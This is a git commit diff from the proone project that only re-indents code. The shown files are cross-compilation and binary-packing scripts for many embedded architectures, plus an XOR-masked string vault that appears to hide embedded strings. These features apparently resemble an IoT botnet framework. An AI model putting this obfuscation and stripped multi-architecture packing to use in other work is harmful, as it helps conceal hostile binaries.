diff options
author | David Timber <mieabby@gmail.com> | 2020-01-15 18:36:25 +1100 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-01-15 18:45:50 +1100 |
commit | a9762b186c68797c19c61bf0284a80d9bc51a2ca (patch) | |
tree | e1aa87bac8d8605ec3c5f069e1bc83dc2048fbfe | |
parent | f97fd125b9e2f8ff27da61a882c50ce66cc79d2d (diff) |
unexpand
-rwxr-xr-x | bootstrap.sh | 4 | ||||
-rw-r--r-- | configure.ac | 22 | ||||
-rwxr-xr-x | scripts/build-all.sh | 86 | ||||
-rwxr-xr-x | scripts/test_bin-archive.sh | 38 | ||||
-rwxr-xr-x | scripts/xcomp.sh | 10 | ||||
-rw-r--r-- | src/data.c | 12 | ||||
-rw-r--r-- | src/data.h | 12 | ||||
-rw-r--r-- | src/dvault.c | 268 | ||||
-rw-r--r-- | src/dvault.h | 24 | ||||
-rw-r--r-- | src/htbt-worker.c | 124 | ||||
-rw-r--r-- | src/pack.c | 378 | ||||
-rw-r--r-- | src/pack.h | 38 | ||||
-rw-r--r-- | src/proone-list-arch.c | 10 | ||||
-rw-r--r-- | src/proone-mask.c | 122 | ||||
-rw-r--r-- | src/proone-pack.c | 254 | ||||
-rw-r--r-- | src/proone-resolv.c | 12 | ||||
-rw-r--r-- | src/proone-unpack.c | 254 | ||||
-rw-r--r-- | src/proone.c | 856 | ||||
-rw-r--r-- | src/proone.h | 74 | ||||
-rw-r--r-- | src/protocol.c | 144 | ||||
-rw-r--r-- | src/protocol.h | 40 | ||||
-rw-r--r-- | src/rnd.c | 38 | ||||
-rw-r--r-- | src/util_rt.h | 12 |
23 files changed, 1416 insertions, 1416 deletions
diff --git a/bootstrap.sh b/bootstrap.sh index 347d7d9..29b2f22 100755 --- a/bootstrap.sh +++ b/bootstrap.sh @@ -1,4 +1,4 @@ #!/bin/sh aclocal && - automake --add-missing --copy && - autoconf + automake --add-missing --copy && + autoconf diff --git a/configure.ac b/configure.ac index 7928ec4..387c3d3 100644 --- a/configure.ac +++ b/configure.ac @@ -11,29 +11,29 @@ AC_PROG_RANLIB AC_ARG_ENABLE(debug, AS_HELP_STRING([--enable-debug], - [build with debug flags, default: no]), + [build with debug flags, default: no]), [case "${enableval}" in - yes) debug=true ;; - no) debug=false ;; - *) AC_MSG_ERROR([bad value ${enableval} for --enable-debug]) ;; + yes) debug=true ;; + no) debug=false ;; + *) AC_MSG_ERROR([bad value ${enableval} for --enable-debug]) ;; esac], [debug=false]) AM_CONDITIONAL(DEBUG, test x"$debug" = x"true") AC_ARG_ENABLE(tests, AS_HELP_STRING([--enable-tests], - [build tests, default: no]), + [build tests, default: no]), [case "${enableval}" in - yes) tests=true ;; - no) tests=false ;; - *) AC_MSG_ERROR([bad value ${enableval} for --enable-tests]) ;; + yes) tests=true ;; + no) tests=false ;; + *) AC_MSG_ERROR([bad value ${enableval} for --enable-tests]) ;; esac], [tests=false]) AM_CONDITIONAL(TESTS, test x"$tests" = x"true") AM_COND_IF([TESTS], [ - AC_CHECK_HEADERS([gtest/gtest.h], - [], - [AC_MSG_ERROR([gtest/gtest.h not found.])]) + AC_CHECK_HEADERS([gtest/gtest.h], + [], + [AC_MSG_ERROR([gtest/gtest.h not found.])]) ]) PKG_CHECK_MODULES_STATIC([DEP_PKGCFG], [zlib]) diff --git a/scripts/build-all.sh b/scripts/build-all.sh index 7c87b82..dbbae21 100755 --- a/scripts/build-all.sh +++ b/scripts/build-all.sh @@ -1,41 +1,41 @@ #!/bin/bash ARCH_ARR=( - "armv4t" - "armv7" - "i686" - "m68k" - "mips" - "mpsl" - "ppc" - "sh4" - "spc" + "armv4t" + "armv7" + "i686" + "m68k" + "mips" + "mpsl" + "ppc" + "sh4" + "spc" ) TOOLCHAIN_ARR=( - "armv4t" - "armv7" - "i686" - "m68k" - "mips" - "mpsl" - "ppc" - "sh4" - "spc" + "armv4t" + "armv7" + "i686" + "m68k" + "mips" + "mpsl" + "ppc" + "sh4" + "spc" ) HOST_ARR=( - "arm-linux" - "arm-linux" - "i686-linux" - "m68k-linux" - "mips-linux" - "mipsel-linux" - "powerpc-linux" - "sh4-linux" - "sparc-linux" + "arm-linux" + "arm-linux" + "i686-linux" + "m68k-linux" + "mips-linux" + "mipsel-linux" + "powerpc-linux" + "sh4-linux" + "sparc-linux" ) ARR_SIZE="${#ARCH_ARR[@]}" if [ $ARR_SIZE -ne "${#TOOLCHAIN_ARR[@]}" ] || [ $ARR_SIZE -ne "${#HOST_ARR[@]}" ]; then - echo "Config error: arrays" >&2 - exit 2 + echo "Config error: arrays" >&2 + exit 2 fi PROONE_PREFIX="builds" @@ -50,37 +50,37 @@ PROONE_BIN_ARCHIVE="$PROONE_PREFIX/bin-archive" rm -rf "$PROONE_PREFIX" && mkdir "$PROONE_PREFIX" "$PROONE_ORG_BIN" "$PROONE_REL_BIN" "$PROONE_TOOLS" if [ $? -ne 0 ] ; then - exit $? + exit $? fi make distclean # native build for tools -./configure $PROONE_AM_CONF && make -j$(nproc) && - cp -a src/proone-pack "$PROONE_PACKER" && - cp -a src/proone-unpack "$PROONE_UNPACKER" && - cp -a src/proone-list-arch "$PROONE_TOOLS/proone-list-arch" && - cp -a src/proone-mask "$PROONE_TOOLS/proone-mask" && - cp -a src/proone-print-all-data "$PROONE_TOOLS/proone-print-all-data" && - cp -a src/proone-resolv "$PROONE_TOOLS/proone-resolv" +./configure $PROONE_AM_CONF && make -j$(nproc) && + cp -a src/proone-pack "$PROONE_PACKER" && + cp -a src/proone-unpack "$PROONE_UNPACKER" && + cp -a src/proone-list-arch "$PROONE_TOOLS/proone-list-arch" && + cp -a src/proone-mask "$PROONE_TOOLS/proone-mask" && + cp -a src/proone-print-all-data "$PROONE_TOOLS/proone-print-all-data" && + cp -a src/proone-resolv "$PROONE_TOOLS/proone-resolv" if [ $? -ne 0 ]; then - exit $? + exit $? fi make distclean # cross-compile targets for (( i = 0; i < ARR_SIZE; i += 1 )); do - PROONE_HOST="${HOST_ARR[$i]}" PROONE_BIN_ARCH="${ARCH_ARR[$i]}" bash-xcomp-emb "${TOOLCHAIN_ARR[$i]}" "scripts/xcomp.sh" - if [ $? -ne 0 ]; then - exit $? - fi + PROONE_HOST="${HOST_ARR[$i]}" PROONE_BIN_ARCH="${ARCH_ARR[$i]}" bash-xcomp-emb "${TOOLCHAIN_ARR[$i]}" "scripts/xcomp.sh" + if [ $? -ne 0 ]; then + exit $? + fi done # pack echo "bwEYAZaX8Zu9X1C6024h" > "$PROONE_BIN_ARCHIVE" # "test":"password" "$PROONE_PACKER" "$PROONE_ORG_BIN_PREFIX."* | pigz -z - | base64 >> "$PROONE_BIN_ARCHIVE" if [ $? -ne 0 ]; then - exit $? + exit $? fi # archive test diff --git a/scripts/test_bin-archive.sh b/scripts/test_bin-archive.sh index 0506102..5d95f2c 100755 --- a/scripts/test_bin-archive.sh +++ b/scripts/test_bin-archive.sh @@ -1,10 +1,10 @@ #!/bin/bash RND_BLOCK_SIZE=4096 if [ -z "$RND_BIN_CNT_MIN" ]; then - RND_BIN_CNT_MIN=1 + RND_BIN_CNT_MIN=1 fi if [ -z "$RND_BIN_CNT_MAX" ]; then - RND_BIN_CNT_MAX=20 + RND_BIN_CNT_MAX=20 fi TEST_DIR="pack_test" BIN_PACK_DIR="$TEST_DIR/pack" @@ -13,49 +13,49 @@ BIN_PREFIX="bin" BIN_ARCHIVE_PREFIX="bin_archive" SIZE_LOG="pack_test-size.log" if [ -z "$LISTARCH" ]; then - LISTARCH="../src/proone-list-arch" + LISTARCH="../src/proone-list-arch" fi if [ -z "$PACKER" ]; then - PACKER="../src/proone-pack" + PACKER="../src/proone-pack" fi if [ -z "$UNPACKER" ]; then - UNPACKER="../src/proone-unpack" + UNPACKER="../src/proone-unpack" fi ARCH_ARR=(`"$LISTARCH"`) if [ -d "$TEST_DIR" ]; then - rm -rf "$TEST_DIR/"* + rm -rf "$TEST_DIR/"* else - mkdir "$TEST_DIR" + mkdir "$TEST_DIR" fi mkdir "$BIN_PACK_DIR" "$BIN_UNPACK_DIR" if [ $? -ne 0 ]; then - exit 2 + exit 2 fi for arch in ${ARCH_ARR[@]}; do - bin_block_cnt="$(shuf -n1 -i $RND_BIN_CNT_MIN-$RND_BIN_CNT_MAX)" &&\ - dd if=/dev/random of="$BIN_PACK_DIR/$BIN_PREFIX.$arch" iflag=fullblock bs=$RND_BLOCK_SIZE count=$bin_block_cnt - if [ $? -ne 0 ]; then - exit 2 - fi + bin_block_cnt="$(shuf -n1 -i $RND_BIN_CNT_MIN-$RND_BIN_CNT_MAX)" &&\ + dd if=/dev/random of="$BIN_PACK_DIR/$BIN_PREFIX.$arch" iflag=fullblock bs=$RND_BLOCK_SIZE count=$bin_block_cnt + if [ $? -ne 0 ]; then + exit 2 + fi done "$PACKER" "$BIN_PACK_DIR/$BIN_PREFIX."* | pigz -z - | base64 > "$TEST_DIR/$BIN_ARCHIVE_PREFIX" if [ $? -ne 0 ]; then - exit 2; + exit 2; fi "$UNPACKER" "$BIN_UNPACK_DIR/$BIN_PREFIX" < "$TEST_DIR/$BIN_ARCHIVE_PREFIX" if [ $? -ne 0 ]; then - exit 2; + exit 2; fi for arch in ${ARCH_ARR[@]}; do - diff -q "$BIN_PACK_DIR/$BIN_PREFIX.$arch" "$BIN_UNPACK_DIR/$BIN_PREFIX.$arch" - if [ $? -ne 0 ]; then - exit 2; - fi + diff -q "$BIN_PACK_DIR/$BIN_PREFIX.$arch" "$BIN_UNPACK_DIR/$BIN_PREFIX.$arch" + if [ $? -ne 0 ]; then + exit 2; + fi done echo $(du -bs "$BIN_PACK_DIR" | awk '{print $1;}') $(wc -c "$TEST_DIR/$BIN_ARCHIVE_PREFIX" | awk '{print $1;}') >> "$SIZE_LOG" diff --git a/scripts/xcomp.sh b/scripts/xcomp.sh index ac4bf26..a0ccb02 100755 --- a/scripts/xcomp.sh +++ b/scripts/xcomp.sh @@ -3,8 +3,8 @@ BIN_ORG="$PROONE_ORG_BIN_PREFIX.$PROONE_BIN_ARCH" BIN_REL="$PROONE_REL_BIN_PREFIX.$PROONE_BIN_ARCH" ./configure --host="$PROONE_HOST" $PROONE_AM_CONF &&\ - make -j$(nproc) &&\ - cp -a src/proone "$BIN_ORG" &&\ - cp -a src/proone "$BIN_REL" &&\ - "$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$BIN_REL" &&\ - make distclean + make -j$(nproc) &&\ + cp -a src/proone "$BIN_ORG" &&\ + cp -a src/proone "$BIN_REL" &&\ + "$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$BIN_REL" &&\ + make distclean @@ -3,10 +3,10 @@ uint8_t *PRNE_DATA_DICT[NB_PRNE_DATA_KEY] = { - // PRNE_DATA_KEY_PROC_LIM_SHM: "/31e4f17c-db76-4332-af48-fd9fb8453f8f" - (uint8_t*)"\x00\x7F\x00\x25\x09\x24\x82\xC5\x8F\x65\xF8\x96\x35\x02\xF5\xAD\xC9\xF4\x83\x60\xD2\x33\x21\xB1\x3F\xCB\x8C\x8E\x4E\xF8\x18\xBE\x06\x33\xC5\xC4\x43\x7D\x2C\xA3\x7B", - // PRNE_DATA_KEY_SIGN_INIT_OK: "cd264451-2156-4e12-ae1c-89931878a54f" - (uint8_t*)"\x00\x37\x00\x24\x41\xEC\xB4\xD8\xF2\x70\xFE\x92\xC1\x6B\xBD\xB8\x49\x46\x3E\x58\x96\x5C\xB2\x4B\x1E\x23\x1E\x90\xC0\x2C\x95\xCA\xE8\x06\xC2\x00\x95\x58\x9F\x8F", - // PRNE_DATA_KEY_PROGRAM_VER - (uint8_t*)PRNE_PROG_VER, + // PRNE_DATA_KEY_PROC_LIM_SHM: "/31e4f17c-db76-4332-af48-fd9fb8453f8f" + (uint8_t*)"\x00\x7F\x00\x25\x09\x24\x82\xC5\x8F\x65\xF8\x96\x35\x02\xF5\xAD\xC9\xF4\x83\x60\xD2\x33\x21\xB1\x3F\xCB\x8C\x8E\x4E\xF8\x18\xBE\x06\x33\xC5\xC4\x43\x7D\x2C\xA3\x7B", + // PRNE_DATA_KEY_SIGN_INIT_OK: "cd264451-2156-4e12-ae1c-89931878a54f" + (uint8_t*)"\x00\x37\x00\x24\x41\xEC\xB4\xD8\xF2\x70\xFE\x92\xC1\x6B\xBD\xB8\x49\x46\x3E\x58\x96\x5C\xB2\x4B\x1E\x23\x1E\x90\xC0\x2C\x95\xCA\xE8\x06\xC2\x00\x95\x58\x9F\x8F", + // PRNE_DATA_KEY_PROGRAM_VER + (uint8_t*)PRNE_PROG_VER, }; @@ -3,13 +3,13 @@ typedef enum { - PRNE_DATA_KEY_NONE = -1, - - PRNE_DATA_KEY_PROC_LIM_SHM, - PRNE_DATA_KEY_SIGN_INIT_OK, - PRNE_DATA_KEY_PROGRAM_VER, + PRNE_DATA_KEY_NONE = -1, + + PRNE_DATA_KEY_PROC_LIM_SHM, + PRNE_DATA_KEY_SIGN_INIT_OK, + PRNE_DATA_KEY_PROGRAM_VER, - NB_PRNE_DATA_KEY + NB_PRNE_DATA_KEY } prne_data_key_t; extern uint8_t *PRNE_DATA_DICT[NB_PRNE_DATA_KEY]; diff --git a/src/dvault.c b/src/dvault.c index a3009de..eb43987 100644 --- a/src/dvault.c +++ b/src/dvault.c @@ -10,32 +10,32 @@ const uint8_t PRNE_DVAULT_MASK[] = { - 0xA2, 0x7A, 0x61, 0x65, 0x78, 0xBE, 0x95, 0x8A, 0xBF, 0x07, - 0x52, 0x8F, 0x0E, 0x6F, 0x0B, 0xD8, 0x5B, 0xD4, 0x77, 0x9D, - 0x39, 0x28, 0x72, 0xE2, 0x42, 0x5D, 0xE7, 0x92, 0xDD, 0xAF, - 0xF7, 0x90, 0x8B, 0x2D, 0x1F, 0xB1, 0x18, 0x4B, 0x3C, 0x32, - 0x58, 0xFC, 0x34, 0x94, 0xCA, 0x31, 0x43, 0xDB, 0x93, 0x55, - 0xB5, 0xEF, 0x02, 0x8E, 0x84, 0x22, 0x88, 0x86, 0xEE, 0xC6, - 0x44, 0xCB, 0xA3, 0xEC, 0x59, 0x8C, 0x8D, 0x7F, 0x6B, 0x0A, - 0x3D, 0xA7, 0x6E, 0x9F, 0x2A, 0x7B, 0x12, 0x7D, 0xBD, 0xF8, - 0x15, 0xAC, 0xF9, 0xD9, 0x3E, 0xF5, 0x38, 0xF4, 0x6D, 0xAB, - 0xE9, 0x4C, 0x0D, 0x3F, 0x71, 0xDF, 0xC0, 0xB9, 0xD5, 0xA6, - 0x53, 0xED, 0xE6, 0x82, 0x73, 0xC8, 0xA5, 0x08, 0x48, 0x1A, - 0x79, 0x05, 0x10, 0x75, 0xF3, 0xE4, 0x85, 0xEB, 0xDC, 0x2C, - 0x23, 0xCD, 0xBC, 0x1C, 0x45, 0x24, 0x5C, 0x26, 0x17, 0xB3, - 0xA0, 0xBB, 0x03, 0xC9, 0xA1, 0x56, 0x2F, 0x91, 0xCF, 0xFE, - 0xC2, 0xAE, 0x54, 0xE1, 0x00, 0x13, 0x9C, 0x5E, 0xAD, 0xB8, - 0xB6, 0x63, 0x9E, 0x7C, 0x87, 0x60, 0x51, 0xFD, 0xF0, 0x76, - 0x4E, 0x4A, 0x9B, 0x1D, 0xF1, 0x0F, 0x06, 0xD1, 0x68, 0x99, - 0x20, 0x81, 0x3A, 0xE3, 0x25, 0xAA, 0x36, 0x98, 0x62, 0x96, - 0xC4, 0x30, 0x37, 0x47, 0x2B, 0x3B, 0x80, 0x64, 0x21, 0x67, - 0xB0, 0xB4, 0x01, 0x89, 0xC1, 0x0C, 0x41, 0xC3, 0x57, 0xB2, - 0x9A, 0x35, 0xBA, 0xD7, 0x66, 0xE0, 0x19, 0xF2, 0x04, 0xFB, - 0x70, 0xD6, 0xFF, 0x40, 0x83, 0xDE, 0xD0, 0xB7, 0xA8, 0xEA, - 0x16, 0x49, 0xFA, 0xCC, 0x11, 0x46, 0xCE, 0xE8, 0x4F, 0xD2, - 0x4D, 0xE5, 0x27, 0x50, 0x6A, 0x74, 0xDA, 0xC7, 0xA4, 0xA9, - 0x5F, 0x97, 0x29, 0x14, 0x6C, 0x7E, 0x1E, 0xC5, 0x5A, 0x1B, - 0x33, 0x69, 0x09, 0x2E, 0xD3, 0xF6 + 0xA2, 0x7A, 0x61, 0x65, 0x78, 0xBE, 0x95, 0x8A, 0xBF, 0x07, + 0x52, 0x8F, 0x0E, 0x6F, 0x0B, 0xD8, 0x5B, 0xD4, 0x77, 0x9D, + 0x39, 0x28, 0x72, 0xE2, 0x42, 0x5D, 0xE7, 0x92, 0xDD, 0xAF, + 0xF7, 0x90, 0x8B, 0x2D, 0x1F, 0xB1, 0x18, 0x4B, 0x3C, 0x32, + 0x58, 0xFC, 0x34, 0x94, 0xCA, 0x31, 0x43, 0xDB, 0x93, 0x55, + 0xB5, 0xEF, 0x02, 0x8E, 0x84, 0x22, 0x88, 0x86, 0xEE, 0xC6, + 0x44, 0xCB, 0xA3, 0xEC, 0x59, 0x8C, 0x8D, 0x7F, 0x6B, 0x0A, + 0x3D, 0xA7, 0x6E, 0x9F, 0x2A, 0x7B, 0x12, 0x7D, 0xBD, 0xF8, + 0x15, 0xAC, 0xF9, 0xD9, 0x3E, 0xF5, 0x38, 0xF4, 0x6D, 0xAB, + 0xE9, 0x4C, 0x0D, 0x3F, 0x71, 0xDF, 0xC0, 0xB9, 0xD5, 0xA6, + 0x53, 0xED, 0xE6, 0x82, 0x73, 0xC8, 0xA5, 0x08, 0x48, 0x1A, + 0x79, 0x05, 0x10, 0x75, 0xF3, 0xE4, 0x85, 0xEB, 0xDC, 0x2C, + 0x23, 0xCD, 0xBC, 0x1C, 0x45, 0x24, 0x5C, 0x26, 0x17, 0xB3, + 0xA0, 0xBB, 0x03, 0xC9, 0xA1, 0x56, 0x2F, 0x91, 0xCF, 0xFE, + 0xC2, 0xAE, 0x54, 0xE1, 0x00, 0x13, 0x9C, 0x5E, 0xAD, 0xB8, + 0xB6, 0x63, 0x9E, 0x7C, 0x87, 0x60, 0x51, 0xFD, 0xF0, 0x76, + 0x4E, 0x4A, 0x9B, 0x1D, 0xF1, 0x0F, 0x06, 0xD1, 0x68, 0x99, + 0x20, 0x81, 0x3A, 0xE3, 0x25, 0xAA, 0x36, 0x98, 0x62, 0x96, + 0xC4, 0x30, 0x37, 0x47, 0x2B, 0x3B, 0x80, 0x64, 0x21, 0x67, + 0xB0, 0xB4, 0x01, 0x89, 0xC1, 0x0C, 0x41, 0xC3, 0x57, 0xB2, + 0x9A, 0x35, 0xBA, 0xD7, 0x66, 0xE0, 0x19, 0xF2, 0x04, 0xFB, + 0x70, 0xD6, 0xFF, 0x40, 0x83, 0xDE, 0xD0, 0xB7, 0xA8, 0xEA, + 0x16, 0x49, 0xFA, 0xCC, 0x11, 0x46, 0xCE, 0xE8, 0x4F, 0xD2, + 0x4D, 0xE5, 0x27, 0x50, 0x6A, 0x74, 0xDA, 0xC7, 0xA4, 0xA9, + 0x5F, 0x97, 0x29, 0x14, 0x6C, 0x7E, 0x1E, 0xC5, 0x5A, 0x1B, + 0x33, 0x69, 0x09, 0x2E, 0xD3, 0xF6 }; static uint8_t *unmasked_buf = NULL; @@ -44,166 +44,166 @@ static bool unmasked = false; static void invert_entry (const prne_data_key_t key, size_t *len) { - const size_t entry_size = prne_dvault_get_entry_size(key); + const size_t entry_size = prne_dvault_get_entry_size(key); - if (len != NULL) { - *len = entry_size; - } - memcpy(unmasked_buf, PRNE_DATA_DICT[key] + 4, entry_size); - prne_dvault_invert_mem(entry_size, unmasked_buf, prne_dvault_get_entry_salt(key)); - unmasked = true; + if (len != NULL) { + *len = entry_size; + } + memcpy(unmasked_buf, PRNE_DATA_DICT[key] + 4, entry_size); + prne_dvault_invert_mem(entry_size, unmasked_buf, prne_dvault_get_entry_salt(key)); + unmasked = true; } static void entry_check (const prne_data_key_t key, const prne_data_type_t type) { - if (!(PRNE_DATA_KEY_NONE < key && key < NB_PRNE_DATA_KEY) || - !(PRNE_DATA_TYPE_NONE < type && type < NB_PRNE_DATA_TYPE) || - type != prne_dvault_get_entry_data_type(key)) { - abort(); - } + if (!(PRNE_DATA_KEY_NONE < key && key < NB_PRNE_DATA_KEY) || + !(PRNE_DATA_TYPE_NONE < type && type < NB_PRNE_DATA_TYPE) || + type != prne_dvault_get_entry_data_type(key)) { + abort(); + } } const char *prne_data_type_tostr (const prne_data_type_t t) { - switch (t) { - case PRNE_DATA_TYPE_CSTR: return "cstr"; - case PRNE_DATA_TYPE_BIN: return "bin"; - } - return NULL; + switch (t) { + case PRNE_DATA_TYPE_CSTR: return "cstr"; + case PRNE_DATA_TYPE_BIN: return "bin"; + } + return NULL; } prne_data_type_t prne_data_type_fstr (const char *str) { - if (strcmp(str, prne_data_type_tostr(PRNE_DATA_TYPE_CSTR)) == 0) { - return PRNE_DATA_TYPE_CSTR; - } - if (strcmp(str, prne_data_type_tostr(PRNE_DATA_TYPE_BIN)) == 0) { - return PRNE_DATA_TYPE_BIN; - } - - return PRNE_DATA_TYPE_NONE; + if (strcmp(str, prne_data_type_tostr(PRNE_DATA_TYPE_CSTR)) == 0) { + return PRNE_DATA_TYPE_CSTR; + } + if (strcmp(str, prne_data_type_tostr(PRNE_DATA_TYPE_BIN)) == 0) { + return PRNE_DATA_TYPE_BIN; + } + + return PRNE_DATA_TYPE_NONE; } void prne_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt) { - size_t i; + size_t i; - for (i = 0; i < size; i += 1) { - m[i] ^= PRNE_DVAULT_MASK[(i + (size_t)salt) % 256]; - } + for (i = 0; i < size; i += 1) { + m[i] ^= PRNE_DVAULT_MASK[(i + (size_t)salt) % 256]; + } } void prne_init_dvault_mask_result (prne_dvault_mask_result_t *r) { - r->result = PRNE_DVAULT_MASK_OK; - r->str = NULL; - r->str_len = 0; + r->result = PRNE_DVAULT_MASK_OK; + r->str = NULL; + r->str_len = 0; } void prne_free_dvault_mask_result (prne_dvault_mask_result_t *r) { - prne_free(r->str); - r->str_len = 0; - r->str = NULL; - r->result = PRNE_DVAULT_MASK_OK; + prne_free(r->str); + r->str_len = 0; + r->str = NULL; + r->result = PRNE_DVAULT_MASK_OK; } prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data) { - size_t i; - prne_dvault_mask_result_t ret; + size_t i; + prne_dvault_mask_result_t ret; - prne_init_dvault_mask_result(&ret); + prne_init_dvault_mask_result(&ret); - if (data_size > 0xFFFF) { - ret.result = PRNE_DVAULT_MASK_TOO_LARGE; - return ret; - } - if (!(PRNE_DATA_TYPE_NONE < type && type < NB_PRNE_DATA_TYPE)) { - ret.result = PRNE_DVAULT_MASK_INVALID_TYPE; - return ret; - } + if (data_size > 0xFFFF) { + ret.result = PRNE_DVAULT_MASK_TOO_LARGE; + return ret; + } + if (!(PRNE_DATA_TYPE_NONE < type && type < NB_PRNE_DATA_TYPE)) { + ret.result = PRNE_DVAULT_MASK_INVALID_TYPE; + return ret; + } - ret.str_len = 4 * 4 + 4 * data_size + 1; - ret.str = prne_malloc(1, ret.str_len); - if (ret.str == NULL) { - ret.result = PRNE_DVAULT_MASK_MEM_ERR; - ret.str_len = 0; - return ret; - } + ret.str_len = 4 * 4 + 4 * data_size + 1; + ret.str = prne_malloc(1, ret.str_len); + if (ret.str == NULL) { + ret.result = PRNE_DVAULT_MASK_MEM_ERR; + ret.str_len = 0; + return ret; + } - sprintf(ret.str, "\\x%02X\\x%02X\\x%02X\\x%02X", - type, - salt, - (int)((0xFF00 & (uint_fast16_t)data_size) >> 8), - (int)((0x00FF & (uint_fast16_t)data_size) >> 0)); + sprintf(ret.str, "\\x%02X\\x%02X\\x%02X\\x%02X", + type, + salt, + (int)((0xFF00 & (uint_fast16_t)data_size) >> 8), + (int)((0x00FF & (uint_fast16_t)data_size) >> 0)); - for (i = 0; i < data_size; i += 1) { - sprintf(ret.str + 4 * 4 + 4 * i, "\\x%02X", data[i] ^ PRNE_DVAULT_MASK[(i + (size_t)salt) % 256]); - } + for (i = 0; i < data_size; i += 1) { + sprintf(ret.str + 4 * 4 + 4 * i, "\\x%02X", data[i] ^ PRNE_DVAULT_MASK[(i + (size_t)salt) % 256]); + } - return ret; + return ret; } void prne_init_dvault (void) { - size_t max_size = 0; - size_t entry_size; - prne_data_key_t i; - - for (i = PRNE_DATA_KEY_NONE + 1; i < NB_PRNE_DATA_KEY; i += 1) { - entry_size = prne_dvault_get_entry_size(i); - switch (prne_dvault_get_entry_data_type(i)) { - case PRNE_DATA_TYPE_CSTR: - entry_size += 1; - break; - } - - if (entry_size > max_size) { - max_size = entry_size; - } - } - - if (max_size == 0) { - abort(); - } - unmasked_buf = prne_calloc(1, max_size); - unmasked_buf_size = max_size; - if (unmasked_buf == NULL) { - abort(); - } - unmasked = false; + size_t max_size = 0; + size_t entry_size; + prne_data_key_t i; + + for (i = PRNE_DATA_KEY_NONE + 1; i < NB_PRNE_DATA_KEY; i += 1) { + entry_size = prne_dvault_get_entry_size(i); + switch (prne_dvault_get_entry_data_type(i)) { + case PRNE_DATA_TYPE_CSTR: + entry_size += 1; + break; + } + + if (entry_size > max_size) { + max_size = entry_size; + } + } + + if (max_size == 0) { + abort(); + } + unmasked_buf = prne_calloc(1, max_size); + unmasked_buf_size = max_size; + if (unmasked_buf == NULL) { + abort(); + } + unmasked = false; } void prne_deinit_dvault (void) { - prne_free(unmasked_buf); - unmasked_buf = NULL; - unmasked_buf_size = 0; - unmasked = false; + prne_free(unmasked_buf); + unmasked_buf = NULL; + unmasked_buf_size = 0; + unmasked = false; } prne_data_type_t prne_dvault_get_entry_data_type (const prne_data_key_t key) { - return (prne_data_type_t)PRNE_DATA_DICT[key][0]; + return (prne_data_type_t)PRNE_DATA_DICT[key][0]; } size_t prne_dvault_get_entry_size (const prne_data_key_t key) { - return (size_t)PRNE_DATA_DICT[key][2] << 8 | (size_t)PRNE_DATA_DICT[key][3]; + return (size_t)PRNE_DATA_DICT[key][2] << 8 | (size_t)PRNE_DATA_DICT[key][3]; } uint8_t prne_dvault_get_entry_salt (const prne_data_key_t key) { - return PRNE_DATA_DICT[key][1]; + return PRNE_DATA_DICT[key][1]; } char *prne_dvault_unmask_entry_cstr (const prne_data_key_t key, size_t *len) { - prne_dvault_reset_dict(); - entry_check(key, PRNE_DATA_TYPE_CSTR); - invert_entry(key, len); - return (char*)unmasked_buf; + prne_dvault_reset_dict(); + entry_check(key, PRNE_DATA_TYPE_CSTR); + invert_entry(key, len); + return (char*)unmasked_buf; } void prne_dvault_unmask_entry_bin (const prne_data_key_t key, const uint8_t **data, size_t *len) { - prne_dvault_reset_dict(); - entry_check(key, PRNE_DATA_TYPE_BIN); - invert_entry(key, len); - *data = unmasked_buf; + prne_dvault_reset_dict(); + entry_check(key, PRNE_DATA_TYPE_BIN); + invert_entry(key, len); + *data = unmasked_buf; } void prne_dvault_reset_dict (void) { - if (unmasked) { - memzero(unmasked_buf, unmasked_buf_size); - unmasked = false; - } + if (unmasked) { + memzero(unmasked_buf, unmasked_buf_size); + unmasked = false; + } } diff --git a/src/dvault.h b/src/dvault.h index 3ae29e6..2e13c68 100644 --- a/src/dvault.h +++ b/src/dvault.h @@ -10,26 +10,26 @@ typedef struct prne_dvault_mask_result prne_dvault_mask_result_t; typedef enum { - PRNE_DATA_TYPE_NONE = -1, + PRNE_DATA_TYPE_NONE = -1, - PRNE_DATA_TYPE_CSTR, - PRNE_DATA_TYPE_BIN, - - NB_PRNE_DATA_TYPE + PRNE_DATA_TYPE_CSTR, + PRNE_DATA_TYPE_BIN, + + NB_PRNE_DATA_TYPE } prne_data_type_t; PRNE_LIMIT_ENUM(prne_data_type_t, NB_PRNE_DATA_TYPE, 0xFF); typedef enum { - PRNE_DVAULT_MASK_OK, - PRNE_DVAULT_MASK_MEM_ERR, - PRNE_DVAULT_MASK_TOO_LARGE, - PRNE_DVAULT_MASK_INVALID_TYPE + PRNE_DVAULT_MASK_OK, + PRNE_DVAULT_MASK_MEM_ERR, + PRNE_DVAULT_MASK_TOO_LARGE, + PRNE_DVAULT_MASK_INVALID_TYPE } prne_dvault_mask_result_code_t; struct prne_dvault_mask_result { - size_t str_len; - char *str; - prne_dvault_mask_result_code_t result; + size_t str_len; + char *str; + prne_dvault_mask_result_code_t result; }; diff --git a/src/htbt-worker.c b/src/htbt-worker.c index 3387000..d9d5742 100644 --- a/src/htbt-worker.c +++ b/src/htbt-worker.c @@ -29,72 +29,72 @@ struct hb_w_ctx { #if 0 static int create_ny_bin_shm (prne_rnd_engine_t *rnd) { - static const size_t str_len = sizeof(prne_s_g->ny_bin_shm_name); + static const size_t str_len = sizeof(prne_s_g->ny_bin_shm_name); - prne_s_g->ny_bin_shm_name[0] = '/'; - prne_s_g->ny_bin_shm_name[str_len - 1] = 0; - prne_rnd_anum_str(rnd, prne_s_g->ny_bin_shm_name + 1, str_len - 2); - - return shm_open(prne_s_g->ny_bin_shm_name, O_RDWR | O_CREAT | O_TRUNC, 0700); + prne_s_g->ny_bin_shm_name[0] = '/'; + prne_s_g->ny_bin_shm_name[str_len - 1] = 0; + prne_rnd_anum_str(rnd, prne_s_g->ny_bin_shm_name + 1, 